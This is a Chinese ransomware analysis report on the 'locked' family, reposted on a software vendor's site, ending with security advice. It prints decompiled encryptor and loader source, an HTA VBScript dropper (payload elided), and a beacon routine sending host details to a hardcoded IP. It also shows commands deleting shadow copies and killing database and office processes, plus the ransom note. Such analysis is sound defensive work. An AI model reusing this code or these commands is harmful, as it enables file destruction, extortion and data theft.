LOGO OA教程 ERP教程 模切知识交流 PMS教程 CRM教程 开发文档 其他文档  
 
网站管理员

【病毒分析】locked勒索病毒分析

admin
2024年4月10日 0:32 本文热度 65

1.背景

1.1来源

近期,Solar团队收到某物流公司的援助请求,该公司的计算机服务器受到了locked勒索家族的侵害,所有的文件被加密并且添加了.locked后缀,该勒索软件的初始入侵方式是利用知名财务系统的nday进行的。应客户的要求,本文暂不提供对入侵事件溯源的分析报告,仅提供该勒索病毒加密器的逆向分析报告。

2.恶意文件基础信息

2.1 文件基础信息

文件名78403c39.exe
大小5632(5.50 KiB)
操作系统Windows(95)
架构I386
模式32 位
类型控制台
字节序LE
MD5d6a722fc1d3e4998de93f6112dded913
SHA25616482e6c3ad97f048851f87b67446a64340eeb8e

2.2 勒索信

send 0.08btc to my address:bc1qnuxx83nd4keeegrumtnu8kup8g02yzgff6z53l. contact email:service@helloworldtom.online,if you can't contact my email, please contact some data recovery company(suggest taobao.com), may they can contact to me .your id: ATNPERSONID

2.3 update[5].hta

在被感染的主机上找到了可疑文件,hta文件中嵌入了VBScript代码用于实现恶意功能。
<script language="VBScript">
Sub DebugPrint(s)
End Sub

Sub SetVersion
Dim shell
Set shell = CreateObject("WScript.Shell")
shell.Environment("Process").Item("COMPLUS_Version") = "v4.0.30319"
End Sub

Function Base64ToStream(b)
  Dim enc, length, ba, transform, ms
  Set enc = CreateObject("System.Text.ASCIIEncoding")
  length = enc.GetByteCount_2(b)
  Set transform = CreateObject("System.Security.Cryptography.FromBase64Transform")
  Set ms = CreateObject("System.IO.MemoryStream")
  ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b), 0length), 0, ((length / 4) * 3)
  ms.Position = 0
  Set Base64ToStream = ms
End Function

Sub Run
Dim s, entry_class
s = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"
s = s & "AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"
s = s & "dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"
...省略约20000
s = s & "AAENAAAABAAAAAkXAAAACQYAAAAJFgAAAAYaAAAAJ1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5"
s = s & "IExvYWQoQnl0ZVtdKQgAAAAKCwAA"
entry_class = "EfsPotato.Mshta"

Dim fmt, al, d, o
Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
Set al = CreateObject("System.Collections.ArrayList")
al.Add Empty

Set d = fmt.Deserialize_2(Base64ToStream(s))
Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)

End Sub

SetVersion
On Error Resume Next
Run
If Err.Number <> 0 Then
  DebugPrint Err.Description
  Err.Clear
End If
self.close
</script>
此代码的功能主要为,将上述的base64字符串反序列化之后执行相关的恶意功能,此程序会释放4个相关文件。

3.恶意文件分析

3.1 威胁分析

病毒家族locked
首次出现时间/捕获分析时间2024/03/20 || 2024/03/20
威胁类型勒索软件,加密病毒
勒索软件地区国外
加密文件扩展名.locked
勒索信文件名READ_ME6.html
有无免费解密器?
联系邮箱service@helloworldtom.online
检测名称Avast (Win32:RansomX-gen [Ransom]), AhnLab-V3 (Ransomware/Win.Ransom.C5011664), AliCloud (RansomWare), Avast (Win32:RansomX-gen [Ransom]), Avira (no cloud) (HEUR/AGEN.1319014), BitDefenderTheta (Gen:NN.ZexaF.36802.muW@a83MUGci),ClamAV(Win.Ransomware.Rapid-9371249-0),Cybereason(Malicious.0fe686),Cynet(Malicious (score: 100)),DrWeb(Trojan.Encoder.37869),eScan(Trojan.GenericKD.70329037), Fortinet (W32/Filecoder.MALL!tr.ransom),Google(Detected)
感染症状无法打开存储在计算机上的文件,以前功能的文件现在具有不同的扩展名(.locked)。桌面上会显示一条勒索要求消息(READ_ME6.html)。网络犯罪分子要求通过邮箱联系后支付比特币后提供数据恢复工具
感染方式钓鱼
受灾影响大部分文件将被加密

3.2 加密器

此文件的执行参数如下

78403c39.exe  78403c39.bin z5nYkKl64ZNkhDpQT02vW2I6qudygrPl z5nYkKl64ZNkhDpQ

4.逆向分析

using System;
using System.IO;
using System.Reflection;
using System.Security.Cryptography;
using System.Text;

// Token: 0x02000002 RID: 2
internal class Program
{
    // Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
    private static void Main(string[] args)
    {
        Console.WriteLine("Start Update");
        if (args.Length == 0)
        {
            Console.WriteLine("
helloworld");
            return;
        }
        if (args.Length != 3)
        {
            Console.WriteLine("
helloworld1");
            return;
        }
        string s = args[1];
        string s2 = args[2];
        byte[] bytes = Encoding.UTF8.GetBytes(s);
        byte[] bytes2 = Encoding.UTF8.GetBytes(s2);
        byte[] array = Program.File2Byte(args[0]);
        if (array != null)
        {
            Assembly.Load(Program.Decrypt(array, bytes, bytes2)).CreateInstance("
U").Equals("");
            return;
        }
        Console.WriteLine("
helloworld2");
    }

    // Token: 0x06000002 RID: 2 RVA: 0x000020E4 File Offset: 0x000002E4
    public static byte[] Decrypt(byte[] cipherText, byte[] key, byte[] iv)
    {
        byte[] result;
        using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
        {
            rijndaelManaged.Key = key;
            rijndaelManaged.IV = iv;
            ICryptoTransform transform = rijndaelManaged.CreateDecryptor(rijndaelManaged.Key, rijndaelManaged.IV);
            using (MemoryStream memoryStream = new MemoryStream())
            {
                using (CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Write))
                {
                    cryptoStream.Write(cipherText, 0, cipherText.Length);
                }
                result = memoryStream.ToArray();
            }
        }
        return result;
    }

    // Token: 0x06000003 RID: 3 RVA: 0x00002188 File Offset: 0x00000388
    public static byte[] File2Byte(string filePath)
    {
        byte[] result;
        try
        {
            using (FileStream fileStream = new FileStream(filePath, FileMode.Open, FileAccess.Read))
            {
                byte[] array = new byte[fileStream.Length];
                fileStream.Read(array, 0, (int)fileStream.Length);
                result = array;
            }
        }
        catch (Exception)
        {
            result = null;
        }
        return result;
    }
}
程序将会读取第一个参数作为文件路径,以及第二个和第三个参数作为密钥和初始向量,然后调用 Decrypt 方法对指定的文件进行解密操作,并尝试加载解密后的内容为一个程序集,并创建其名为 "U" 的实例。
Decrypt 方法是一个静态方法,用于对给定的密文进行解密。它使用了对称加密算法 Rijndael,并通过密钥和初始向量进行解密操作。
File2Byte 方法也是一个静态方法,用于将指定文件的内容读取为字节数组并返回。
那么推测恶意行为的代码存在于Assembly.Load加载的解密的内容中,捕获此部分内容输出到文件output.bin中。

4.1 核心程序

文件名output.bin
大小28672(28.00 KiB)
操作系统Windows(95)
架构I386
模式32 位
类型DLL
字节序LE
MD55b5415d4895b7da6f4d8c2a8efa1d06a
SHA2562881194b7e0939d47165c894c891737d8c189ee8fb4720e814a4bcdd804d00d1

4.2 函数RUN

恶意功能从此处开始运行,调用了U.SleepRand();进行了随机休眠,可能是为了逃避沙盒检测,随机生成了一对公私钥,将私钥用程序自带的公钥进行加密得到ID
private static string personPubKey = "BgIAAACkAABSU0ExAAQAAAEAAQABo5INMgvZRHU+odxc8HTZUnsValb+zVbnhjhUK0Smo6MnGNYvaQY6vN9j5viFHTfCgu0NculsfILwXtUVUn8WqEHjm0xfbsKl93uazKHzyuiiepA5ggNHgGbZ5vnpo5MKE3ykwdqYPst8ULxCZNPCdu3kK2PKC2li150Dl8e2zA==";

Dictionary<string, string> key = rsautil.GetKey();
string pubKey = key["PublicKey"];
string strEncryptString = key["PrivateKey"];
string text3 = rsautil.EncrytByPublic(U.personPubKey, strEncryptString);
// U
// Token: 0x06000011 RID: 17 RVA: 0x00002578 File Offset: 0x00000778
public bool Run()
{
    U.SleepRand();
    int tickCount = Environment.TickCount;
    if (!U.IsNotRunning())
    {
        U.SendHttp("already2 runing1");
        return false;
    }
    U.Destroy();
    string text = common.GetWritePath() + "\\pubkey9.txt";
    string text2 = common.GetWritePath() + "\\show9.txt";
    string path = common.GetWritePath() + "\\hellotest1.txt";
    common.GetWritePath() + "\\more9.txt";
    if (File.Exists(text) || File.Exists(text2) || File.Exists(text + U.fileExtension) || File.Exists(text2 + U.fileExtension))
    {
        U.SendHttp("already3 runing1");
        return false;
    }
    if (!U.skipJava && File.Exists(path))
    {
        U.SendHttp("already555 runing1");
        return false;
    }
    Console.WriteLine("generate new");
    RSAUtil rsautil = new RSAUtil();
    Dictionary<string, string> key = rsautil.GetKey();
    string pubKey = key["PublicKey"];
    string strEncryptString = key["PrivateKey"];
    string text3 = rsautil.EncrytByPublic(U.personPubKey, strEncryptString);
    string contents = rsautil.EncrytByPublic(U.personPubKey, DateTime.Now.ToString() + U.GetInfo());
    if (File.Exists(text) || File.Exists(text2) || File.Exists(text + U.fileExtension) || File.Exists(text2 + U.fileExtension))
    {
        U.SendHttp("already4 runing1");
        return false;
    }
    if (!U.skipJava && File.Exists(path))
    {
        U.SendHttp("already66 runing1");
        return false;
    }
    try
    {
        File.WriteAllText(text, contents);
        File.WriteAllText(text2, text3);
    }
    catch
    {
    }
    U.SendHttp("start5run");
    int encSize = 10485760;
    List<string> list = new List<string>();
    list.Add(common.GetEnvByName("USERPROFILE"));
    list.Add(common.GetEnvByName("PUBLIC"));
    list.Add(common.GetEnvByName("HOMEPATH"));
    foreach (string item in Environment.GetLogicalDrives())
    {
        list.Add(item);
    }
    U.appendDebugMsg("paths:" + string.Join(",", list.ToArray()));
    foreach (string text4 in list)
    {
        U.appendDebugMsg("run dir:" + text4);
        U.RunEncProcessDirectory(text4, pubKey, encSize, text3);
    }
    U.SendHttp("done--" + U.countFile.ToString());
    return true;
}

4.3 函数RunEncProcessDirectory

此处对目录进行迭代搜索:
  1. 首先,它尝试获取指定路径下的所有文件,并对每个文件执行以下操作:
    1. 检查文件是否允许加密(通过 U.IsAllowExt(text) 方法判断)。
    2. 确保文件名中不包含特定的字符串(U.msgFileName(即READ_ME6.html)、"pubkey.txt"、"show.txt")。
    3. 如果文件符合条件,则开始对该文件执行加密操作,调用 U.RunEncProcessFile() 方法。
    4. 在加密文件后,检查文件计数是否达到一定值(U.countFile 不为零且小于等于 2000,并且能被 500 整除),如果满足条件,则发送一个 HTTP 消息,通知加密进度。
  2. 接着,它尝试获取指定路径下的所有子目录,并对每个子目录执行以下操作:
    1. 检查该子目录是否被阻止加密(通过 U.IsBlockDir(text2) 方法判断),如果未被阻止,则递归调用 RunEncProcessDirectory 方法。
// U
// Token: 0x06000016 RID: 22 RVA: 0x0000296C File Offset: 0x00000B6C
public static void RunEncProcessDirectory(string path, string pubKey, int encSize, string showID)
{
    if (path.Length == 0)
    {
        return;
    }
    try
    {
        foreach (string text in Directory.GetFiles(path))
        {
            if (U.IsAllowExt(text) && !text.Contains(U.msgFileName) && !text.Contains("pubkey.txt") && !text.Contains("show.txt"))
            {
                U.appendDebugMsg("start enc file:" + text);
                U.RunEncProcessFile(text, pubKey, encSize, showID);
                if (U.countFile != 0 && U.countFile <= 2000 && U.countFile % 500 == 0)
                {
                    U.SendHttp("do-" + U.countFile.ToString());
                }
            }
            else
            {
                U.appendDebugMsg("skip enc file:" + text);
            }
        }
    }
    catch
    {
    }
    try
    {
        foreach (string text2 in Directory.GetDirectories(path))
        {
            if (!U.IsBlockDir(text2))
            {
                U.RunEncProcessDirectory(text2, pubKey, encSize, showID);
            }
        }
    }
    catch (Exception ex)
    {
        Console.WriteLine("read dir from path {0} error {1}", path, ex.Message);
    }
    U.WriteMsg(path, showID);
}

4.4 函数IsAllowExt

    白名单文件后缀

public static bool IsAllowExt(string name)
    {
        foreach (string text in U.extensionsToEncrypt)
        {
            if (name.ToLower().EndsWith(text.ToLower()))
            {
                return true;
            }
        }
        return false;
    }
private static readonly string[] extensionsToEncrypt = new string[]
    {
        "1cd",
        "3dm",
        "3ds",
        "3fr",
        "3g2",
        "3gp",
        "3pr",
        "602",
        "7z",
        "ps1",
        "7zip",
        "aac",
        "ab4",
        "accdb",
        "accde",
        "accdr",
        "accdt",
        "ach",
        "acr",
        "act",
        "adb",
        "adp",
        "ads",
        "aes",
        "agdl",
        "zip",
        省略其他正常白名单后缀
    };

4.5 函数IsBlockDir

    文件夹黑名单,不加密此类文件夹以及其子文件夹。

public static bool IsBlockDir(string name)
    {
        foreach (string text in U.blockDirName)
        {
            if (name.ToLower().Contains(text.ToLower()))
            {
                return true;
            }
        }
        return false;
    }
private static readonly string[] blockDirName = new string[]
    {
        "EFI.Boot",
        "EFI.Microsoft",
        ":.Windows",
        "All Users",
        "Boot",
        "IEidcache",
        "ProgramData",
        "desktop.ini",
        "autorun.inf",
        "netuser.dat",
        "ntuser.dat",
        "bootsect.bak",
        "iconcache.db",
        "thumbs.db",
        "Local Settings",
        "bootfont.bin",
        "System Volume Information",
        "AppData",
        "Recycle.Bin",
        ":.Recovery",
        "Windows\\System32",
        "Windows\\System",
        "Windows\\SysWOW64",
        "Windows\\security",
        "WindowsPowerShell",
        "Windows\\assembly",
        "Windows\\Microsoft.NET",
        "Windows\\Fonts",
        "Windows\\IME",
        "Windows\\boot",
        "Windows\\inf",
        "show",
        "pubkey",
        "READ_ME",
        "README"
    };

4.6 函数SendHttp

    向107.175.127.195发送相关信息,此ip归属地为美国得克萨斯州达拉斯。向服务器发送用户相关信息,包括MachineNameUserNameProcessorCountVersion isadmin,并伪装为百度的流量Host:``css.baidu.com

public static string httpAddr = "107.175.127.195";
public static int httpPort = 80;
public static void SendHttp(string s)
{
    IPAddress[] hostAddresses = Dns.GetHostAddresses(Dns.GetHostName());
    s += "--";
    s = s + Environment.MachineName + "--";
    s = s + Environment.UserName + "--";
    s = s + Environment.ProcessorCount + "--";
    s = s + Environment.Version + "--";
    s = s + new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator).ToString() + "--";
    foreach (IPAddress ipaddress in hostAddresses)
    {
        s = s + ipaddress.ToString() + ",";
    }
    s = Uri.EscapeDataString(s);
    string s2 = "GET /css/css.css?v=" + s + " HTTP/1.1\r\nHost:css.baidu.com\r\n\r\n";
    try
    {
        Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
        IPEndPoint remoteEP = new IPEndPoint(IPAddress.Parse(U.httpAddr), U.httpPort);
        socket.Connect(remoteEP);
        socket.Send(Encoding.Default.GetBytes(s2));
        Thread.Sleep(1000);
        socket.Close();
    }
    catch (Exception ex)
    {
        Console.WriteLine("error socket {0}", ex.Message);
    }
}    

4.7 函数Destroy

  • 通过 U.ExecuteCmd() 方法执行了一系列 net stop 命令,用于停止服务;
  • 通过 U.ExecuteCmd() 方法执行了 vssadmin delete shadows /all 命令,用于删除所有卷影副本;
  • 通过 U.ExecuteCmd() 方法执行了一系列 taskkill 命令,用于强制终止指定名称的进程。
// U
// Token: 0x0600001C RID: 28 RVA: 0x00002DA0 File Offset: 0x00000FA0
public static void Destroy()
{
    U.ExecuteCmd("net stop SQLTELEMETRY");
    U.ExecuteCmd("net stop ReportServer");
    U.ExecuteCmd("net stop SQLSERVERAGENT");
    U.ExecuteCmd("net stop MSSQLServerOLAPService");
    U.ExecuteCmd("net stop SQLBrowser");
    U.ExecuteCmd("net stop SQLWriter");
    U.ExecuteCmd("net stop mssqlserver");
    U.ExecuteCmd("net stop msmq");
    U.ExecuteCmd("net stop mssql");
    U.ExecuteCmd("net stop mysql");
    U.ExecuteCmd("net stop mongodb");
    U.ExecuteCmd("net stop rabbitmq");
    U.ExecuteCmd("vssadmin delete shadows /all");
    U.ExecuteCmd("taskkill /f /im msftesql.exe");
    U.ExecuteCmd("taskkill /f /im sqlagent.exe");
    U.ExecuteCmd("taskkill /f /im sqlbrowser.exe");
    U.ExecuteCmd("taskkill /f /im sqlservr.exe");
    U.ExecuteCmd("taskkill /f /im sqlwriter.exe");
    U.ExecuteCmd("taskkill /f /im oracle.exe");
    U.ExecuteCmd("taskkill /f /im ocssd.exe");
    U.ExecuteCmd("taskkill /f /im dbsnmp.exe");
    U.ExecuteCmd("taskkill /f /im synctime.exe");
    U.ExecuteCmd("taskkill /f /im mydesktopqos.exe");
    U.ExecuteCmd("taskkill /f /im agntsvc.exeisqlplussvc.exe");
    U.ExecuteCmd("taskkill /f /im xfssvccon.exe");
    U.ExecuteCmd("taskkill /f /im mydesktopservice.exe");
    U.ExecuteCmd("taskkill /f /im ocautoupds.exe");
    U.ExecuteCmd("taskkill /f /im agntsvc.exeagntsvc.exe");
    U.ExecuteCmd("taskkill /f /im agntsvc.exeencsvc.exe");
    U.ExecuteCmd("taskkill /f /im firefoxconfig.exe");
    U.ExecuteCmd("taskkill /f /im tbirdconfig.exe");
    U.ExecuteCmd("taskkill /f /im ocomm.exe");
    U.ExecuteCmd("taskkill /f /im mysqld.exe");
    U.ExecuteCmd("taskkill /f /im mysqld-nt.exe");
    U.ExecuteCmd("taskkill /f /im mysqld-opt.exe");
    U.ExecuteCmd("taskkill /f /im dbeng50.exe");
    U.ExecuteCmd("taskkill /f /im sqbcoreservice.exe");
    U.ExecuteCmd("taskkill /f /im excel.exe");
    U.ExecuteCmd("taskkill /f /im infopath.exe");
    U.ExecuteCmd("taskkill /f /im msaccess.exe");
    U.ExecuteCmd("taskkill /f /im mspub.exe");
    U.ExecuteCmd("taskkill /f /im onenote.exe");
    U.ExecuteCmd("taskkill /f /im outlook.exe");
    U.ExecuteCmd("taskkill /f /im powerpnt.exe");
    U.ExecuteCmd("taskkill /f /im steam.exe");
    U.ExecuteCmd("taskkill /f /im sqlservr.exe");
    U.ExecuteCmd("taskkill /f /im thebat.exe");
    U.ExecuteCmd("taskkill /f /im thebat64.exe");
    U.ExecuteCmd("taskkill /f /im thunderbird.exe");
    U.ExecuteCmd("taskkill /f /im visio.exe");
    U.ExecuteCmd("taskkill /f /im winword.exe");
    U.ExecuteCmd("taskkill /f /im wordpad.exe");
    U.ExecuteCmd("taskkill /f /im tnslsnr.exe");
}

4.8 函数WriteMsg

写入勒索信息

hosttypetargetpri
helloworldtom.onlineMXmx1.titan.email10
helloworldtom.onlineMXmx2.titan.email20
// U
// Token: 0x06000018 RID: 24 RVA: 0x00002ADC File Offset: 0x00000CDC
public static void WriteMsg(string path, string showId)
{
    try
    {
        if (!File.Exists(path + "\\" + U.msgFileName))
        {
            File.WriteAllText(path + "\\" + U.msgFileName, U.readMeMsg.Replace("PERSONID", showId));
        }
    }
    catch (Exception ex)
    {
        Console.WriteLine("write readme file error {0}", ex.Message);
    }
}
private static string btcCount = "0.08";
private static string btcAddr = "bc1qnuxx83nd4keeegrumtnu8kup8g02yzgff6z53l";
private static string email = "service@helloworldtom.online";
private static string readMeMsg = string.Concat(new string[]
    {
        "send ",
        U.btcCount,
        "btc to my address:",
        U.btcAddr,
        ". contact email:",
        U.email,
        ",if you can't contact my email, please contact some data recovery company(suggest taobao.com), may they can contact to me .your id: ATNPERSONID"
    });

4.9 函数RunEncProcessFile

  1. 在 try-catch 块中,首先调用 common.FileEncryptNew() 方法执行文件加密操作,将加密后的文件保存为原文件名加上指定的文件扩展名(U.fileExtension)。
  2. 每次成功加密一个文件后,递增 U.countFile 变量,用于记录加密文件的数量。
  3. 调用 U.appendDebugMsg() 方法记录加密成功的消息。
  4. 如果在加密过程中发生异常,捕获异常并输出错误消息到控制台,然后调用 U.appendDebugMsg() 方法记录加密失败的消息,包括文件名和异常信息。
private static readonly string fileExtension = ".locked";

// U
// Token: 0x06000015 RID: 21 RVA: 0x000028EC File Offset: 0x00000AEC
public static void RunEncProcessFile(string filename, string pubKey, int encSize, string encPrivateKey)
{
    try
    {
        common.FileEncryptNew(filename, filename + U.fileExtension, pubKey, encSize);
        U.countFile++;
        U.appendDebugMsg("enc file success" + filename);
    }
    catch (Exception ex)
    {
        Console.WriteLine("enc from filename {0} error {1}", filename, ex.Message);
        U.appendDebugMsg("enc file fail:" + filename + "reason:" + ex.ToString());
    }
}

4.10 函数FileEncryptNew

用于执行文件加密操作,其中使用了 RSA 加密算法和 Rijndael 对称加密算法。

public static bool FileEncryptNew(string inputFile, string outputFile, string pubKey, int size)
    {
        bool flag = true;
        byte[] rand = common.GetRand(2);
        byte[] rand2 = common.GetRand(1);
        byte[] array = new byte[48];
        Buffer.BlockCopy(rand, 0, array, 0, rand.Length);
        Buffer.BlockCopy(rand2, 0, array, rand.Length, rand2.Length);
        byte[] array2 = new RSAUtil().EncryptByBytes(array, pubKey);
        FileStream fileStream = new FileStream(outputFile, FileMode.Create);
        RijndaelManaged rijndaelManaged = new RijndaelManaged();
        rijndaelManaged.KeySize = 256;
        rijndaelManaged.BlockSize = 128;
        rijndaelManaged.Padding = PaddingMode.PKCS7;
        rijndaelManaged.Key = rand;
        rijndaelManaged.IV = rand2;
        rijndaelManaged.Mode = CipherMode.CFB;
        fileStream.Write(array2, 0, array2.Length);
        CryptoStream cryptoStream = new CryptoStream(fileStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write);
        FileStream fileStream2 = new FileStream(inputFile, FileMode.Open);
        byte[] array3 = new byte[size];
        try
        {
            int count;
            while ((count = fileStream2.Read(array3, 0, array3.Length)) > 0)
            {
                cryptoStream.Write(array3, 0, count);
            }
            fileStream2.Close();
        }
        catch (Exception ex)
        {
            flag = false;
            Console.WriteLine("Error: " + ex.Message);
            U.appendDebugMsg("enc file" + inputFile + " fail:" + ex.ToString());
        }
        finally
        {
            cryptoStream.Close();
            fileStream.Close();
        }
        if (flag)
        {
            if (!common.RemoveFile(inputFile))
            {
                common.RemoveFile(outputFile);
            }
        }
        else
        {
            common.RemoveFile(outputFile);
        }
        return flag;
    }

5.病毒分析概览

程序启动后,通过VBScript释放文件1,2,在文件1中使用文件2作为参数,使用AES算法解密文件2的内容后得到DLL类型的C#可执行程序,文件1加载此程序并直接调用其恶意功能。
恶意程序启动之后,随机休眠一段时间,可能为了避免沙盒检测,随机生成了一对公私钥,将私钥用程序自带的公钥进行加密得到ID,关闭了系统的部分服务与进程,随机生成AES密钥用于加密文件,并用随机生成的公钥加密AES加密的相关信息写在文件头部。

6.安全建议

6.1 风险消减措施

资产梳理排查目标:根据实际情况,对内外网资产进行分时期排查

服务方式:调研访谈、现场勘查、工具扫描

服务关键内容:流量威胁监测系统排查、互联网暴露面扫描服务、技术加固服务、集权系统排查

6.2 安全设备调优

目标

通过对安全现状的梳理和分析,识别安全策略上的不足,结合目标防御、权限最小化、缩小攻击面等一系列参考原则,对设备的相关配置策略进行改进调优,一方面,减低无效或低效规则的出现频次;另一方面,对缺失或遗漏的规则进行补充,实现将安全设备防护能力最优化。

主要目标设备

网络安全防护设备、系统防护软件、日志审计与分析设备、安全监测与入侵识别设备。

6.3 全员安全意识增强调优

目标:

通过网络安全意识宣贯、培训提升全方位安全能力

形式:

培训及宣贯

线下培训课表

若无法组织线下的集体培训,考虑两种方式:

1.提供相关的安全意识培训材料,由上而下分发学习

2.组织相关人员线上开会学习。线上培训模式。

线上学习平台


该文章在 2024/4/10 0:35:33 编辑过
关键字查询
相关文章
正在查询...
点晴ERP是一款针对中小制造业的专业生产管理软件系统,系统成熟度和易用性得到了国内大量中小企业的青睐。
点晴PMS码头管理系统主要针对港口码头集装箱与散货日常运作、调度、堆场、车队、财务费用、相关报表等业务管理,结合码头的业务特点,围绕调度、堆场作业而开发的。集技术的先进性、管理的有效性于一体,是物流码头及其他港口类企业的高效ERP管理信息系统。
点晴WMS仓储管理系统提供了货物产品管理,销售管理,采购管理,仓储管理,仓库管理,保质期管理,货位管理,库位管理,生产管理,WMS管理系统,标签打印,条形码,二维码管理,批号管理软件。
点晴免费OA是一款软件和通用服务都免费,不限功能、不限时间、不限用户的免费OA协同办公管理系统。
Copyright 2010-2024 ClickSun All Rights Reserved